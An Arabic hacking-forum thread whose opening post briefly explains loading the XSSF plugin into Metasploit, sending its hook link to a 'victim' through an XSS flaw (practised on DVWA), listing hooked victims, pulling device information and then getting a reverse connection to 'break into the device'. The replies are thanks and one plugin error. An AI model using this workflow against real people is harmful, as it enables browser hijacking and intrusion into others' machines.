ثغرات xss عبر الميتاء وتحويلها الى XSSF

[ابوللة]

السلام عليكم ورحمة الله وبركاتة

كيفكم اخوان ان شالله بخير وصحة وعافية


شرح بسيط حول تحويل او تطوير او استغلال ثغرات xxs عبر الميتا وتحويلها الى XSSF

بسم الله

اول شي
http://www.****sploit.com/redmine/at...s/596/XSSF.zip

وتحطة بملجد الميتا

ونكمل نروح نشغل الميتا

اعطية الامر

load xssf
وراح يخرج لنا

http://192.168.2.103:8888/loop

طبعن هاذا هو الي راح نربطة مع الاستغلال ونرسلة لضحية راح نشوف بصور القدام

مثل ماتشوف حنا طبقنا على مشروع
DVWA
تقدر تحملة وتدرب عليه من هينا
http://www.dvwa.co.uk/
بعد ماتربط الاستغلال وترسلة لضحية

نروح لم الميتا ونعطية الامر

xssf_active_victms

ومثل مااتشوفون تم دخول الضحية بحمد الله

نكمل
ونعطية الامر
xssf_information
لستخراج معلومات الجهاز

auxiliary/xssf/*****

ويتم الارسال لضحية

الحين راح نتصل اتصال عكسي

وبكيذا نكون اقتحمنا الجهاز

وفي النهاية ان كان هناك خطاء فلعذر

والشرح حصلتة بموقع اجنبي قلت انقلة لجل التطوير واوضح كل طريقة

والسلام ....

 

[DR-HEX]

رد: ثغرات xss عبر الميتاء وتحويلها الى XSSF

شكراا اخي اتمنى لك توفيق

 

[خالد سعودي]

رد: ثغرات xss عبر الميتاء وتحويلها الى XSSF

وين حصل مجلد الميتا وين حطها انا جربتها قبل ماضبط معي حملت الاصدار الجديد موجود في موقع الباك تراك

 

[خالد سعودي]

رد: ثغرات xss عبر الميتاء وتحويلها الى XSSF

Failed to load plugin from /opt/metasploit/msf3/plugins/xssf: no such file to load -- /opt/metasploit/msf3/plugins/xssf

هنا المشكلة بعد ادخل الامر load xssf

 

[mr_maax]

رد: ثغرات xss عبر الميتاء وتحويلها الى XSSF

مشكووووووور

 

[Dr.S4d]

رد: ثغرات xss عبر الميتاء وتحويلها الى XSSF

مشكووووور ع النقل

 

[Mr Talal]

رد: ثغرات xss عبر الميتاء وتحويلها الى XSSF

بارك الله فيك

 

[rifeno]

رد: ثغرات xss عبر الميتاء وتحويلها الى XSSF

merciiiiiiiiiiiiiiiiiii

 

[آسر حمودة]

رد: ثغرات xss عبر الميتاء وتحويلها الى XSSF

مشكووووووووووووووووووووووووووووور

 

[TAREQ BOSS]

رد: ثغرات xss عبر الميتاء وتحويلها الى XSSF

شكرا

 

[ADEL AL7RBI]

رد: ثغرات xss عبر الميتاء وتحويلها الى XSSF

gooooooood

 

[JuStRx]

رد: ثغرات xss عبر الميتاء وتحويلها الى XSSF

يعطيك العافيةة أخي شكرا لك

 

[king_alnhzh]

رد: ثغرات xss عبر الميتاء وتحويلها الى XSSF

يعطيك العافيه اخوي الف شكر

 

[zikooow]

رد: ثغرات xss عبر الميتاء وتحويلها الى XSSF

يعطيك لعافية ٱخي